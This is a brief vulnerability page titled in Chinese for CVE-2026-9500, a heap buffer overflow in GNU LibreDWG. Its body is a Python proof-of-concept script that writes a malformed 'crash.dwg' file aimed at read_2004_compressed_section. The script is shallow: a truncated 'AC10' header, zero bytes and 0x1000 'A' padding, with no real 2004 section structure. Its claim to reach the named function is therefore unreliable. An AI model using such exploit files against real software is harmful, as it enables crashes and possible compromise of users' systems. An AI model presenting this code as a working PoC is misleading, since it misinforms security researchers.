CVE-2026-9500 GNU LibreDWG 堆缓冲区溢出漏洞

import struct # PoC for CVE-2026-9500: Heap Buffer Overflow in LibreDWG # This script generates a malformed DWG file to trigger the vulnerability # in read_2004_compressed_section. def generate_malicious_dwg(filename): # Start with a minimal valid DWG header structure header = b"\x41\x43\x31\x30" # Magic number version = b"\x00\x00\x00\x00" # Version placeholder # Construct the malicious compressed section payload # The vulnerability occurs when length checks fail. # We provide a size larger than the allocated buffer. malicious_section = b"A" * 0x1000 # Large padding to trigger overflow with open(filename, "wb") as f: f.write(header) f.write(version) # Insert data targeting the vulnerable function f.write(malicious_section) print(f"[+] Malicious DWG file generated: {filename}") if __name__ == "__main__": generate_malicious_dwg("crash.dwg")